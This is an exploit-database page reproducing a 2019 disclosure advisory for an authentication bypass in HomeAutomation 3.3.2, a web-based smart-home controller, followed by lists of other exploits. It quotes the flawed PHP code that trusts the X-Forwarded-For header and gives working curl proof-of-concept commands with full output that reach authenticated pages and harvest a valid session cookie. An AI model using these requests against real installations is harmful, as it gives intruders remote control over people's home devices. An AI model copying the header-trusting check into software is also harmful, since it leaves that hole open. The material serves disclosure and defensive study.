Become a patron and gain access to the dashboard, Schedule scans, API and Search

Search for hundreds of thousands of exploits

"HomeAutomation 3.3.2 - Authentication Bypass"

Author

Exploit author

LiquidWorm

Platform

Exploit platform

php

Release date

Exploit published date

2019-12-30

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
# Exploit: HomeAutomation 3.3.2 - Authentication Bypass
# Date: 2019-12-30
# Author: LiquidWorm
# Vendor: Tom Rosenback and Daniel Malmgren
# Product web page: http://karpero.mine.nu/ha/
# Affected version: 3.3.2
# Tested on: Apache/2.4.41 (centos) OpenSSL/1.0.2k-fips
# Advisory ID: ZSL-2019-5557
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5557.php


HomeAutomation v3.3.2 Authentication Bypass Exploit


Vendor: Tom Rosenback and Daniel Malmgren
Product web page: http://karpero.mine.nu/ha/
Affected version: 3.3.2

Summary: HomeAutomation is an open-source web interface and scheduling solution.
It was initially made for use with the Telldus TellStick, but is now based on a
plugin system and except for Tellstick it also comes with support for Crestron,
OWFS and Z-Wave (using OpenZWave). It controls your devices (switches, dimmers,
etc.) based on an advanced scheduling system, taking into account things like
measurements from various sensors. With the houseplan view you can get a simple
overview of the status of your devices at their location in your house.

Desc: The application suffers from an authentication bypass vulnerability when
spoofing client IP address using the X-Forwarded-For header with the local (loopback)
IP address value allowing remote control of the smart home solution.

===============================================================================
/modules/login/login.module.php:
--------------------------------
19: if(!defined("HomeAutomationIncluded")) { die("HomeAutomation: Direct access not premitted"); }
20:
21: if($_SESSION[CFG_SESSION_KEY]["userlevel"] < 1 && $action == "default" && isIpLocal() && getFormVariable("autologin", "") == "")
22: {
23:         // if user is not logged in and action is default, user is visiting locally and autologin is NOT set, allow autologin.
24:         $action = "login";
25: }
26:
27: ?>

===============================================================================
/functions.php:
---------------
733: function isIpLocal() {
734: 
735: 	if(substr(getIpAddress(), 0, 4) == "127.") {
736: 		return true;
737: 	}
738: 
739: 	$isIpLocal = false;
740: 
741: 	$localip = $_SESSION[CFG_SESSION_KEY]["settings"]["localip"];
742: 
743: 	$localnets = explode(";", $localip);
744: 	foreach($localnets as $localnet) {
745: 		list($localnet, $localmask) = explode("/", $localnet);
746: 		if($localmask == "") {
747: 			$localmask = 32;
748: 		}
749: 		if($localmask == "" || $localmask > 32 || $localmask < 0) {
750: 			$localmask = 32;
751: 		}
752: 
753: 		// $mask = $localmask;
754: 
755: 		$localnet = ip2long($localnet);
756: 		$localmask = ~((1 << (32-$localmask)) - 1);
757: 		$remoteip = ip2long(getIpAddress());
758: 		$maskedip = $remoteip & $localmask;
759: 		$maskednet = $localnet & $localmask;
760: 
761: 		// echo "<br />localnet:";
762: 		// printf('%1$32b', $localnet);
763: 
764: 		// echo "<br />localmask: (dec: ".$mask.")";
765: 		// printf('%1$32b', $localmask);
766: 
767: 		// echo "<br />remoteip:";
768: 		// printf('%1$32b', $remoteip);
769: 
770: 		// echo "<br />maskedip:";
771: 		// printf('%1$32b', $maskedip);
772: 
773: 		// echo "<br />maskednet:";
774: 		// printf('%1$32b', $maskednet);
775: 
776: 		if($maskedip == $maskednet) {
777: 			// echo "<br />maskedip == maskednet";
778: 			$isIpLocal = true;
779: 			break;
780: 		}
781: 	}
782: 	// $isIpLocal = false;
783: 	return $isIpLocal;
784: }
785: 
786: function getIpAddress() {
787: 	return isset($_SERVER["HTTP_X_FORWARDED_FOR"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];
788: }
===============================================================================

Tested on: Apache/2.4.41 (centos) OpenSSL/1.0.2k-fips
           Apache/2.4.29 (Ubuntu)
           PHP/7.4.0RC4
           PHP/7.3.11
           PHP 7.2.24-0ubuntu0.18.04.1


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2019-5557
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5557.php


06.11.2019

--


PoC auth bypass and arbitrary cookie setup grepping auth'd content view:
------------------------------------------------------------------------

root@kali:~/homeautomation# curl -sk --user-agent "ZSL/0.2 (SpoofDetect 1.0)" https://192.168.2.113/index.php -H "X-Forwarded-For: 127.31.33.7" -vL --cookie "PHPSESSID=11111111110000000000666666" |grep Macros
*   Trying 192.168.2.113...
* Connected to 192.168.2.113 (192.168.2.113) port 443 (#0)
* found 173 certificates in /etc/ssl/certs/ca-certificates.crt
* found 696 certificates in /etc/ssl/certs
* ALPN, offering h2
* ALPN, offering http/1.1
* SSL connection using TLS1.2 / ECDHE_RSA_AES_128_GCM_SHA256
* 	 server certificate verification SKIPPED
* 	 server certificate status verification SKIPPED
* 	 common name: n28.nux.se (does not match '192.168.2.113')
* 	 server certificate expiration date OK
* 	 server certificate activation date OK
* 	 certificate public key: RSA
* 	 certificate version: #3
* 	 subject: CN=n28.nux.se
* 	 start date: Mon, 21 Oct 2019 12:18:27 GMT
* 	 expire date: Sun, 19 Jan 2020 12:18:27 GMT
* 	 issuer: C=US,O=Let's Encrypt,CN=Let's Encrypt Authority X3
* 	 compression: NULL
* ALPN, server accepted to use http/1.1
> GET /index.php HTTP/1.1
> Host: 192.168.2.113
> User-Agent: ZSL/0.2 (SpoofDetect 1.0)
> Accept: */*
> Cookie: PHPSESSID=11111111110000000000666666
> X-Forwarded-For: 127.31.33.7
> 
< HTTP/1.1 303 See Other
< Date: Wed, 20 Nov 2019 01:06:16 GMT
< Server: Apache/2.4.41 (centos) OpenSSL/1.0.2k-fips
< X-Powered-By: PHP/7.3.11
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< Strict-Transport-Security: max-age=63072000; includeSubdomains
< X-Frame-Options: DENY
< X-Content-Type-Options: nosniff
< Location: ./index.php?page=houseplan
< Content-Length: 0
< Content-Type: text/html; charset=UTF-8
< 
* Connection #0 to host 192.168.2.113 left intact
* Issue another request to this URL: 'https://192.168.2.113/index.php?page=houseplan'
* Found bundle for host 192.168.2.113: 0x55c160ef7c40 [can pipeline]
* Re-using existing connection! (#0) with host 192.168.2.113
* Connected to 192.168.2.113 (192.168.2.113) port 443 (#0)
> GET /index.php?page=houseplan HTTP/1.1
> Host: 192.168.2.113
> User-Agent: ZSL/0.2 (SpoofDetect 1.0)
> Accept: */*
> Cookie: PHPSESSID=11111111110000000000666666
> X-Forwarded-For: 127.31.33.7
> 
< HTTP/1.1 200 OK
< Date: Wed, 20 Nov 2019 01:06:16 GMT
< Server: Apache/2.4.41 (centos) OpenSSL/1.0.2k-fips
< X-Powered-By: PHP/7.3.11
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< Strict-Transport-Security: max-age=63072000; includeSubdomains
< X-Frame-Options: DENY
< X-Content-Type-Options: nosniff
< Transfer-Encoding: chunked
< Content-Type: text/html; charset=UTF-8
< 
{ [6 bytes data]
*							</li><li>| <a href="./index.php?page=macros">Macros</a>
 Connection #0 to host 192.168.2.113 left intact
root@kali:~/homeautomation# curl -sk --user-agent "ZSL/0.2 (SpoofDetect 1.0)" https://192.168.2.113/index.php -vL --cookie "PHPSESSID=11111111110000000000666666" |grep Macros
*   Trying 192.168.2.113...
* Connected to 192.168.2.113 (192.168.2.113) port 443 (#0)
* found 173 certificates in /etc/ssl/certs/ca-certificates.crt
* found 696 certificates in /etc/ssl/certs
* ALPN, offering h2
* ALPN, offering http/1.1
* SSL connection using TLS1.2 / ECDHE_RSA_AES_128_GCM_SHA256
* 	 server certificate verification SKIPPED
* 	 server certificate status verification SKIPPED
* 	 common name: n28.nux.se (does not match '192.168.2.113')
* 	 server certificate expiration date OK
* 	 server certificate activation date OK
* 	 certificate public key: RSA
* 	 certificate version: #3
* 	 subject: CN=n28.nux.se
* 	 start date: Mon, 21 Oct 2019 12:18:27 GMT
* 	 expire date: Sun, 19 Jan 2020 12:18:27 GMT
* 	 issuer: C=US,O=Let's Encrypt,CN=Let's Encrypt Authority X3
* 	 compression: NULL
* ALPN, server accepted to use http/1.1
> GET /index.php HTTP/1.1
> Host: 192.168.2.113
> User-Agent: ZSL/0.2 (SpoofDetect 1.0)
> Accept: */*
> Cookie: PHPSESSID=11111111110000000000666666
> 
< HTTP/1.1 200 OK
< Date: Wed, 20 Nov 2019 01:06:25 GMT
< Server: Apache/2.4.41 (centos) OpenSSL/1.0.2k-fips
< X-Powered-By: PHP/7.3.11
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< Strict-Transport-Security: max-age=63072000; includeSubdomains
< X-Frame-Options: DENY
< X-Content-Type-Options: nosniff
< Transfer-Encoding: chunked
< Content-Type: text/html; charset=UTF-8
< 
{ [6 bytes data]
							</li><li>| <a href="./index.php?page=macros">Macros</a>
* Connection #0 to host 192.168.2.113 left intact
root@kali:~/homeautomation# 


PoC auth bypass retrieving valid Cookie:
-----------------------------------------

root@kali:~/homeautomation# $(curl -sk --user-agent "ZSL/0.2 (SpoofDetect 1.0)" https://192.168.2.113/?page=houseplan -L -H "X-Forwarded-For: 127.1.1.1" --cookie-jar cookies.txt -o /dev/null) ; echo -ne "Your cookie: " ;tail -c -27 cookies.txt
Your cookie: k4dic6crpr4d4u71tr13gvtmsv
Release Date Title Type Platform Author
2020-10-27 "Sphider Search Engine 1.3.6 - 'word_upper_bound' RCE (Authenticated)" webapps php "Gurkirat Singh"
2020-10-27 "Sentrifugo 3.2 - File Upload Restriction Bypass (Authenticated)" webapps php "Gurkirat Singh"
2020-10-27 "Client Management System 1.0 - 'searchdata' SQL injection" webapps php "Serkan Sancar"
2020-10-26 "CMS Made Simple 2.1.6 - 'cntnt01detailtemplate' Server-Side Template Injection" webapps php "Gurkirat Singh"
2020-10-26 "PDW File Browser 1.3 - 'new_filename' Cross-Site Scripting (XSS)" webapps php "David Bimmel"
2020-10-26 "InoERP 0.7.2 - Remote Code Execution (Unauthenticated)" webapps php "Lyhin\'s Lab"
2020-10-26 "Online Health Care System 1.0 - Multiple Cross Site Scripting (Stored)" webapps php "AkΔ±ner KΔ±sa"
2020-10-23 "Gym Management System 1.0 - 'id' SQL Injection" webapps php "Jyotsna Adhana"
2020-10-23 "Online Library Management System 1.0 - Arbitrary File Upload" webapps php "Jyotsna Adhana"
2020-10-23 "Point of Sales 1.0 - 'username' SQL Injection" webapps php "Jyotsna Adhana"
Release Date Title Type Platform Author
2020-10-27 "GoAhead Web Server 5.1.1 - Digest Authentication Capture Replay Nonce Reuse" remote hardware LiquidWorm
2020-10-27 "Adtec Digital Multiple Products - Default Hardcoded Credentials Remote Root" remote hardware LiquidWorm
2020-10-27 "TDM Digital Signage PC Player 4.1 - Insecure File Permissions" local windows LiquidWorm
2020-10-26 "ReQuest Serious Play F3 Media Server 7.0.3 - Remote Denial of Service" webapps hardware LiquidWorm
2020-10-26 "ReQuest Serious Play Media Player 3.0 - Directory Traversal File Disclosure" webapps hardware LiquidWorm
2020-10-26 "ReQuest Serious Play F3 Media Server 7.0.3 - Remote Code Execution (Unauthenticated)" webapps hardware LiquidWorm
2020-10-26 "ReQuest Serious Play F3 Media Server 7.0.3 - Debug Log Disclosure" webapps hardware LiquidWorm
2020-10-07 "BACnet Test Server 1.01 - Remote Denial of Service (PoC)" dos windows LiquidWorm
2020-10-01 "BrightSign Digital Signage Diagnostic Web Server 8.2.26 - Server-Side Request Forgery (Unauthenticated)" webapps hardware LiquidWorm
2020-10-01 "SpinetiX Fusion Digital Signage 3.4.8 - Database Backup Disclosure" webapps hardware LiquidWorm
2020-10-01 "SpinetiX Fusion Digital Signage 3.4.8 - Cross-Site Request Forgery (Add Admin)" webapps hardware LiquidWorm
2020-10-01 "Sony IPELA Network Camera 1.82.01 - 'ftpclient.cgi' Remote Stack Buffer Overflow" remote hardware LiquidWorm
2020-10-01 "BrightSign Digital Signage Diagnostic Web Server 8.2.26 - File Delete Path Traversal" webapps hardware LiquidWorm
2020-10-01 "SpinetiX Fusion Digital Signage 3.4.8 - Username Enumeration" webapps hardware LiquidWorm
2020-09-25 "B-swiss 3 Digital Signage System 3.6.5 - Database Disclosure" webapps multiple LiquidWorm
2020-09-25 "B-swiss 3 Digital Signage System 3.6.5 - Cross-Site Request Forgery (Add Maintenance Admin)" webapps multiple LiquidWorm
2020-09-21 "B-swiss 3 Digital Signage System 3.6.5 - Remote Code Execution" webapps multiple LiquidWorm
2020-09-14 "Rapid7 Nexpose Installer 6.6.39 - 'nexposeengine' Unquoted Service Path" local windows LiquidWorm
2020-08-28 "Eibiz i-Media Server Digital Signage 3.8.0 - Privilege Escalation" webapps hardware LiquidWorm
2020-08-26 "Eibiz i-Media Server Digital Signage 3.8.0 - Directory Traversal" webapps multiple LiquidWorm
2020-08-24 "Eibiz i-Media Server Digital Signage 3.8.0 - Authentication Bypass" webapps hardware LiquidWorm
2020-08-24 "Eibiz i-Media Server Digital Signage 3.8.0 - Configuration Disclosure" webapps hardware LiquidWorm
2020-08-17 "QiHang Media Web Digital Signage 3.0.9 - Remote Code Execution (Unauthenticated)" webapps hardware LiquidWorm
2020-08-17 "QiHang Media Web Digital Signage 3.0.9 - Cleartext Credential Disclosure" webapps hardware LiquidWorm
2020-08-17 "QiHang Media Web Digital Signage 3.0.9 - Unauthenticated Arbitrary File Disclosure" webapps hardware LiquidWorm
2020-08-17 "QiHang Media Web Digital Signage 3.0.9 - Unauthenticated Arbitrary File Deletion" webapps hardware LiquidWorm
2020-08-07 "All-Dynamics Digital Signage System 2.0.2 - Cross-Site Request Forgery (Add Admin)" webapps hardware LiquidWorm
2020-07-26 "UBICOD Medivision Digital Signage 1.5.1 - Cross-Site Request Forgery (Add Admin)" webapps hardware LiquidWorm
2020-07-23 "UBICOD Medivision Digital Signage 1.5.1 - Authorization Bypass" webapps hardware LiquidWorm
2020-06-04 "Cayin Signage Media Player 3.0 - Remote Command Injection (root)" webapps multiple LiquidWorm
import requests
response = requests.get('https://www.nmmapper.com/api/v1/exploitdetails/47807/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.